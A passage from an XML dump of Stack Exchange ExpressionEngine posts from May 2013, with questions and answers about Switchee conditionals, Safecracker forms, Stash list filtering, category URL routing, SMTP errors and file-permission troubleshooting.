value=&quot;{related_adventure_id}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;related_activity_id&quot; id=&quot;related_activity_id&quot; value=&quot;{related_activity_id}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;childs_name&quot; id=&quot;childs_name&quot; value=&quot;{childs_name}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Update&quot; class=&quot;button small red&quot;&amp;gt;&#xA;            {/exp:safecracker}      &#xA;        {/case}&#xA;    {/exp:switchee} &#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the form that I want to display if no matches are found. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker &#xA;            channel=&quot;dynamic_activity&quot; &#xA;            return=&quot;/admin/story/&quot;&#xA;            use_live_url=&quot;no&quot;&#xA;            error_handling=“inline” &#xA;            preserve_checkboxes=“yes” &#xA;            include_jquery=&quot;no&quot; &#xA;            author_id=&quot;CURRENT_USER&quot;&#xA;            author_only=&quot;yes&quot;&#xA;        }&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;Dynamic Content for {embed:related_activity_id}&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;related_adventure_id&quot; id=&quot;related_adventure_id&quot; value=&quot;{embed:related_adventure_id}&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;related_activity_id&quot; id=&quot;related_activity_id&quot; value=&quot;{embed:related_activity_id}&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;childs_name&quot; id=&quot;childs_name&quot; value=&quot;Enter the Childs Name&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;button small red&quot;&amp;gt;&#xA;        {/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use limit=&quot;1&quot; then it only displays the first entry  if I check if there is no content that matches then I load the form multiple times for each non matched entry. Any ideas/Help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATED: I have also tried this ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{related_activity_id}/{related_adventure_id}&quot; parse=&quot;inward&quot;}&#xA;&#xA;            {case value=&quot;{embed:related_activity_id}/{embed:related_adventure_id}&quot;}&#xA;                {exp:safecracker &#xA;                    channel=&quot;dynamic_activity&quot; &#xA;                    return=&quot;/admin/story/&quot;&#xA;                    use_live_url=&quot;no&quot;&#xA;                    error_handling=“inline” &#xA;                    preserve_checkboxes=“yes” &#xA;                    include_jquery=&quot;no&quot; &#xA;                    author_id=&quot;CURRENT_USER&quot;&#xA;                    entry_id=&quot;{entry_id}&quot;&#xA;                }&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;related_adventure_id&quot; id=&quot;related_adventure_id&quot; value=&quot;{related_adventure_id}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;related_activity_id&quot; id=&quot;related_activity_id&quot; value=&quot;{related_activity_id}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;childs_name&quot; id=&quot;childs_name&quot; value=&quot;{childs_name}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Update&quot; class=&quot;button small red&quot;&amp;gt;&#xA;                {/exp:safecracker}      &#xA;            {/case}&#xA;&#xA;            {case default=&quot;Yes&quot;}&#xA;                {exp:safecracker &#xA;                    channel=&quot;dynamic_activity&quot; &#xA;                    return=&quot;/admin/story/&quot;&#xA;                    use_live_url=&quot;no&quot;&#xA;                    error_handling=“inline” &#xA;                    preserve_checkboxes=“yes” &#xA;                    include_jquery=&quot;no&quot; &#xA;                    author_id=&quot;CURRENT_USER&quot;&#xA;                    author_only=&quot;yes&quot;&#xA;                }&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;Dynamic Content for {embed:related_activity_id}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;related_adventure_id&quot; id=&quot;related_adventure_id&quot; value=&quot;{embed:related_adventure_id}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;related_activity_id&quot; id=&quot;related_activity_id&quot; value=&quot;{embed:related_activity_id}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;childs_name&quot; id=&quot;childs_name&quot; value=&quot;Enter the Childs Name&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;button small red&quot;&amp;gt;&#xA;                {/exp:safecracker}&#xA;            {/case}&#xA;    {/exp:switchee} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1407" LastEditorUserId="1407" LastEditDate="2013-05-02T22:27:45.140" LastActivityDate="2013-05-02T23:41:17.893" Title="conditionals using switchee" Tags="|conditionals|switchee|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10018" PostTypeId="1" AcceptedAnswerId="10027" CreationDate="2013-05-02T21:47:43.430" Score="0" ViewCount="301" Body="&lt;p&gt;I have a products section where I give each product group a main category. Initially I had it setup where each product had a main category and a sub category. GWCode generated a side nav from the catgories that looks like this...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Shampoos ( /products/shampoos/ )&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Brand1 ( /products/shampoos/brand1/ )&lt;/li&gt;&#xA;&lt;li&gt;Brand2 ( /products/shampoos/brand2/ )&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Soaps ( /products/soaps/ )&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Brand3 ( /products/soaps/brand3/ )&lt;/li&gt;&#xA;&lt;li&gt;Brand4 ( /products/soaps/brand4/ )&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;URL setup...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/products/shampoos(category)/ = list of all shampoo products&#xA;/products/shampoos(category)/brand1(subcategory)/ = list of all shampoo products with the Brand1 category&#xA;/products/shampoos(category)/brand1(subcategory)/flowers(url_title) = single entry displaying the &quot;flowers&quot; entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template I use Switchee to show a list of products when segment_3 is blank. If segment_3 is not blank I use if statements to detect if segment 4 is blank or not. If it is I show a list of products. If it is not blank I show the single entry product details. This worked GREAT until the client informed me that the products won't always have a subcategory. Which means this url setup is possible as well...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/products/shavinggel(category)/&#xA;/products/shavinggel(category)/coolmint(url_title)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now the switchee and if statements I have setup won't work in this situation. I'm trying to figure out if there is a way to detect if segment_3 is a url_title or a category_url_title and   display the appropriate code. Or if you have any other ideas.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simplified template setup...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{case value=&quot;''&quot;}&#xA;    {exp:channel:entries channel=&quot;products&quot; category=&quot;{segment_category_ids}&quot; disable=&quot;member_data|pagination&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;!-- display list of entries from main category --&amp;gt; &#xA;    {/exp:channel:entries}&#xA;{/case}&#xA;&#xA;{case value=&quot;&quot; default=&quot;Yes&quot;}&#xA;    {if segment_4 == &quot;&quot;}&#xA;        {exp:channel:entries channel=&quot;products&quot; category=&quot;{segment_category_ids}&quot; disable=&quot;member_data|pagination&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;!-- display list of entries from sub category --&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;    {if segment_4 != &quot;&quot;}&#xA;        {exp:channel:entries channel=&quot;products&quot; disable=&quot;member_data|pagination&quot; sort=&quot;asc&quot; url_title=&quot;{segment_4}&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;!-- display single entry detail page --&amp;gt;       &#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;{/case}&#xA;&#xA;{/exp:switchee} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-05-03T09:08:36.853" Title="Need some help with GWCode Categories, url segments, and conditionals" Tags="|categories|segments|url-title|gwcode-categories|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10019" PostTypeId="2" ParentId="10017" CreationDate="2013-05-02T21:51:12.687" Score="0" Body="&lt;p&gt;Add a case statement&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{case default=&quot;Yes&quot;}&#xA;    Content to show&#xA;{/case}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="683" LastActivityDate="2013-05-02T21:51:12.687" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10020" PostTypeId="2" ParentId="10017" CreationDate="2013-05-02T23:08:24.707" Score="0" Body="&lt;p&gt;I'd recommend in this particular case you might consider using Croxton's equally impressive ifelse add-on in place of switchee, since it seems like the conditionals you are looking for may be a little outside a purely switch case need. You get all the same benefits of early parsing the outer conditional while only parsing the interior of the matching condition, but with the structure of a conventional if:else kind of approach.  You may find it suits your purpose more closely here.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-02T23:08:24.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10021" PostTypeId="2" ParentId="10017" CreationDate="2013-05-02T23:41:17.893" Score="0" Body="&lt;p&gt;I would stash the output in a variable so you can then show the form if that variable is empty. Something like this should probably work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--  ============================================  &#xA;FETCH CONTENT&#xA;================================================== --}&#xA;&#xA;{exp:stash:set name=&quot;content&quot; trim=&quot;yes&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;dynamic_activity&quot; dynamic=&quot;no&quot; author_id=&quot;CURRENT_USER&quot;}&#xA;&#xA;      {exp:switchee variable=&quot;{related_activity_id}/{related_adventure_id}&quot; parse=&quot;inward&quot;} &#xA;        {case value=&quot;{embed:related_activity_id}/{embed:related_adventure_id}&quot;}&#xA;            {exp:safecracker &#xA;                channel=&quot;dynamic_activity&quot; &#xA;                return=&quot;/admin/story/&quot;&#xA;                use_live_url=&quot;no&quot;&#xA;                error_handling=“inline” &#xA;                preserve_checkboxes=“yes” &#xA;                include_jquery=&quot;no&quot; &#xA;                author_id=&quot;CURRENT_USER&quot;&#xA;                entry_id=&quot;{entry_id}&quot;&#xA;            }&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;related_adventure_id&quot; id=&quot;related_adventure_id&quot; value=&quot;{related_adventure_id}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;related_activity_id&quot; id=&quot;related_activity_id&quot; value=&quot;{related_activity_id}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;childs_name&quot; id=&quot;childs_name&quot; value=&quot;{childs_name}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Update&quot; class=&quot;button small red&quot;&amp;gt;&#xA;            {/exp:safecracker}      &#xA;        {/case}&#xA;      {/exp:switchee} &#xA;&#xA;   {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{!--  ============================================  &#xA;DISPLAY CONTENT&#xA;================================================== --}&#xA;&#xA;{if {exp:stash:not_empty name=&quot;content&quot;}}&#xA;   {exp:stash:get name=&quot;content&quot;}&#xA;{if:else}&#xA;   Fallback content&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-02T23:41:17.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10022" PostTypeId="2" ParentId="9966" CreationDate="2013-05-03T00:20:48.970" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/primary_category/&quot; rel=&quot;nofollow&quot;&gt;Primary Category&lt;/a&gt; from Solspace would do the trick. Allows you to set the main category and tie everything together nice and neatly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't currently have any tags to output entries assigned to a primary category, so you'll have to write a custom plugin for the job.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="5" LastEditDate="2013-05-16T18:37:48.533" LastActivityDate="2013-05-16T18:37:48.533" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10023" PostTypeId="1" AcceptedAnswerId="10025" CreationDate="2013-05-03T02:00:25.500" Score="1" ViewCount="176" Body="&lt;p&gt;So, have a &lt;code&gt;exp:stash:set_list&lt;/code&gt; chock full of entries, I'm using them all over the site and on this one I need to show a limit of 3 (simple), random (simple) BUT we need to &lt;strong&gt;not&lt;/strong&gt; show some entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be how I'd go about it if stash worked like EE &lt;em&gt;but I know it wont work&lt;/em&gt;, wondering what sort of regex would be required.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//I know this will fail&#xA;{exp:stash:get_list name=&quot;prod_list&quot; limit=&quot;3&quot; orderby=&quot;random&quot; scope=&quot;site&quot; match=&quot;not 32|244|2|66&quot; against=&quot;entry_ids&quot;}&#xA;… show the stuff&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-03T02:56:03.407" Title="Stash: get_list do not show some entries" Tags="|stash|regex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10024" PostTypeId="2" ParentId="9990" CreationDate="2013-05-03T02:09:53.543" Score="1" Body="&lt;p&gt;Are you using the embed in an attempt to submit data to two different channels with a single form? (Zoo Visitor, presumably, triggers a Safecracker submission to a defined members channel? - I've not used it before).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case it can't be done natively without some convoluted client-side ajax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built something similar using my Bankcracker add-on, which may help: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/thisisjamessmith/Bankcracker&quot; rel=&quot;nofollow&quot;&gt;https://github.com/thisisjamessmith/Bankcracker&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;...However I've not tested it extensively, and not at all with Matrix... but in theory it should work since it just triggers multiple Safecracker submissions per channel.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ah right, based on comments below I think I understand better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing your hidden inputs for these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_courses[row_order][]&quot; value=&quot;row_new_{count}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_courses[row_new_{count}][col_id_20][]&quot; value=&quot;[{entry_id}] [{url_title}] {title}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added the count variable so each row is not named the same, and also added [] at the end of the second name so that multiple courses can be ticked without overwriting each other. A possible problem here is that the count will be 1 ahead of where it should be, but that might not be an issue(?) If it is you could use one of the math plugins to minus one from the count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at these two resources for further details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bluefishdesignstudio.com/blog/article/breaking-up-a-matrix-field-for-use-in-a-safecracker-form&quot; rel=&quot;nofollow&quot;&gt;http://bluefishdesignstudio.com/blog/article/breaking-up-a-matrix-field-for-use-in-a-safecracker-form&lt;/a&gt;&#xA;&lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow&quot;&gt;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-05-08T14:17:46.870" LastActivityDate="2013-05-08T14:17:46.870" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10025" PostTypeId="2" ParentId="10023" CreationDate="2013-05-03T02:56:03.407" Score="3" Body="&lt;p&gt;For others and my future self, here's the regex solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;prod_list&quot;&#xA;    limit=&quot;3&quot;&#xA;    match=&quot;#^((?!.*(32|244|2|66|etc)).*)$#&quot;&#xA;    against=&quot;entryid&quot;&#xA;    orderby=&quot;random&quot;&#xA;    scope=&quot;site&quot;}&#xA;        … spit out entries&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-03T02:56:03.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10026" PostTypeId="2" ParentId="10011" CreationDate="2013-05-03T08:57:33.997" Score="0" Body="&lt;p&gt;Definitely a permissions issue if your paths are correct. As Brian said, upload folders should be 777. Also the files inside should have group permissions so PHP can read/edit them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another issue I had recently was forgetting to set the cache folder to 777. I'm guessing Assets use this as a temp area to generate thumbs.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2013-05-03T08:57:33.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10027" PostTypeId="2" ParentId="10018" CreationDate="2013-05-03T09:08:36.853" Score="3" Body="&lt;p&gt;I always tend to identify the product details page as simply /details/ to avoid this problem, but to achieve what you're after, the following should work (in theory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that your example doesn't take into consideration pagination which would change the last segment. Maybe the client doesn't want it, but may once they get bulk products in there. The approach below will be able to handle that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have the index template in the products template group handle the flow to delivery all pages within the products url structure...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this add-on: &lt;a href=&quot;http://devot-ee.com/add-ons/bjorn-last-segment&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/bjorn-last-segment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this index template get the last segment and test it for a valid entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    status=&quot;not Closed&quot;&#xA;    channel=&quot;products&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    url_title=&quot;{last_segment}&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;    disable=&quot;member_data|pagination|trackbacks&quot;}&#xA;    {if no_results}&#xA;            {embed=products/listing}&#xA;    {/if}&#xA;&#xA;...Display your details page...&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will try to get the channel entry for the last segment, if it doesn't exist (i.e. it's not a product) it will ignore the product details page and load up the listing template. The only restriction here is that you can't have a category with the same URL as a product!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like you could use entry_id=&quot;{last_segment_id}&quot; instead of url_title based on the add-ons documentation, but doubt there's much difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your listing template, do away with switchee:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; category=&quot;{segment_category_ids}&quot; disable=&quot;member_data|pagination&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;!-- display list of entries from main category --&amp;gt; &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to put in another {if no_results}{/if} conditional to display a 404 or some message that no products exist for the categories provided (let's say they make a URL up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By this reference: {segment_category_ids}, I assume you're using &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow&quot;&gt;Low Seg2cat&lt;/a&gt; add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice from your category structure that you've opted to repeat the brands each time under each product type, you may want to consider giving greater flexibility and making the brands a separate category group so both product type and brand are selected for a product and impact on the listing URL in the same way. By keeping them as separate it will avoid duplication and allow for products listed by brand or by product type, or both. But that's another question ;)&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-05-03T09:08:36.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10028" PostTypeId="2" ParentId="10011" CreationDate="2013-05-03T09:56:39.320" Score="0" Body="&lt;p&gt;Folder permissions were indeed wrong, but it wasn't the only problem. The server path provided by the hosting documentation - and the one detected by the Reelocate addon - were different than $_SERVER['DOCUMENT_ROOT']. I used the latter and the file manager started to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have problems with Assets but I'm looking into it with P&amp;amp;T.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2013-05-03T09:56:39.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10029" PostTypeId="1" CreationDate="2013-05-03T10:53:18.543" Score="1" ViewCount="650" Body="&lt;p&gt;Site is using Sendgrid (Smtp) to send newsletters via the Communicate Tab or Firemail and also using  Freeform for form notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the 2.6 upgrade none of these work: Freeform is storing the form submissions in ths CP but no mails being sent. Communicate tab not working - error below - and notifications like 'lost password' not being sent either. These are the errors in Communicate tab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An Error Was Encountered&#xA;Unable to send email at this time.&#xA;&#xA;The following SMTP error was encountered: 110 Connection timed out&#xA;Unable to send email using PHP SMTP. Your server might not be configured to send mail using this method.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is in a screen pop-up/overlay which obscures another error beneath:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: fsockopen(): unable to connect to smtp.sendgrid.net:587 (Connection timed out)&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 1884&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is an EE bug - tend to think it is - anyone else had issues with this?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2013-09-03T05:32:54.217" Title="Emails not being sent from CP after 2.6 update" Tags="|email|smtp|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10030" PostTypeId="2" ParentId="9961" CreationDate="2013-05-03T11:07:14.017" Score="1" Body="&lt;p&gt;You are probably best following James answer and use Stash in this case then. You could also probably get something together using the Query Module as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume you are just using '100' channels as an example, but if you are planning on using a lot of channels in one site, then it might be worth trying to consolidate them if you can. I'm not sure of your EE experience, but having a huge number of channels is probably not a good idea. Not only will it be a pain for you to manage, but also the content administrator will have a hard time working with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of data are you planing on working with here? If there is a cross over, I'd suggest merging the channels together as much as possible. There is a great little addon in Devotee called 'Page Type Selector' - (I think) and you can select the type of page you want and only show certain fields. Doing things this way you can manage channels fields in one place and if you every need to modify it, you don't need to go through 100's of fields etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't familiar, take a look at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash:&#xA;&lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt;&#xA;(this can be a bit of a mind f@*K to start off with, the more you use it, the more powerful you become - A real game changer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Query Module:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/query/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page Type Switcher - The one I mentioned above:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/page-type-switcher&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/page-type-switcher&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-03T11:07:14.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10031" PostTypeId="2" ParentId="10011" CreationDate="2013-05-03T11:14:09.593" Score="0" Body="&lt;p&gt;I've had this before - Select the ones to delete. I take it you are using v2.x?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short of it is, it is safe to 'delete' images. It doesn't actually delete the images. Not 100% sure what it is doing to be honest. But you can rest assured that they are not being deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is big issue using Assets and dev/live sites. The index gets mixed up a fair bit. If you pull the site down to dev at a later stage, you'll probably run int o this again - Or on the dev site the images are missing. Its a real pain - Not 'Painless' file management as P&amp;amp;T claim. Good addon on though.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-03T11:14:09.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10032" PostTypeId="1" AcceptedAnswerId="10162" CreationDate="2013-05-03T11:41:19.773" Score="0" ViewCount="365" Body="&lt;p&gt;I am building an html5 theme into expression engine. The theme came with a lot of JS that wasnt needed and it slows the pages down. When initially building the theme into expression engine i broke the site up into snippets and templates as expected. I have now cleaned up the code and removed all unnecessary js. The issue is that my html-header with the JS links in it wont sync. The snippet is still showing the old code and not the updated version. ANy ideas?&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2014-06-24T13:37:12.437" Title="Snippet Syncing not working" Tags="|javascript|snippets|snippet-sync|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10033" PostTypeId="1" CreationDate="2013-05-03T13:39:53.540" Score="1" ViewCount="74" Body="&lt;p&gt;Im working on building a product comparison to add into a Cartthrob Ecommerce site. I would like to be able to extract item option information from an existing cart entry to transfer to a page in order to compare against other products. Does anyone know if this is possible and how I would do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="1414" LastActivityDate="2013-05-03T21:46:17.437" Title="Extract Cart information" Tags="|ee2|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10034" PostTypeId="1" AcceptedAnswerId="10039" CreationDate="2013-05-03T14:53:10.023" Score="0" ViewCount="49" Body="&lt;p&gt;I have a relatively simple multipage safecracker form where users can upload an image on the first page, approve the image and add a description on the second, then add tags on the third.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All three fields are set as required in channel fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However today I noticed that from the moment the user uploads an image and presses 'submit' to proceed to adding the description the entry is already displaying on the website. No required field errors at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit confused, any ideas how I can prevent this from happening?&lt;/p&gt;&#xA;" OwnerUserId="1310" LastActivityDate="2013-05-03T16:50:34.223" Title="Safecracker submitting form before finished" Tags="|safecracker|validation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10035" PostTypeId="1" AcceptedAnswerId="10037" CreationDate="2013-05-03T14:53:33.060" Score="2" ViewCount="226" Body="&lt;p&gt;I've got an EE 2.6 site that has pages (no duh) as entries, and some of those pages have children (i.e. via a relationship field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what I'd like to do is generate a list of the pages that do not have parents. But I don't see any way to do this.  I would prefer native related entries, but would be fine with using Playa... but it doesn't seem to offer this functionality either. Am I stuck with using a query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-05-03T15:31:47.300" Title="Produce a list of entries that have no relationship parents" Tags="|playa|relationships|parent|children|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
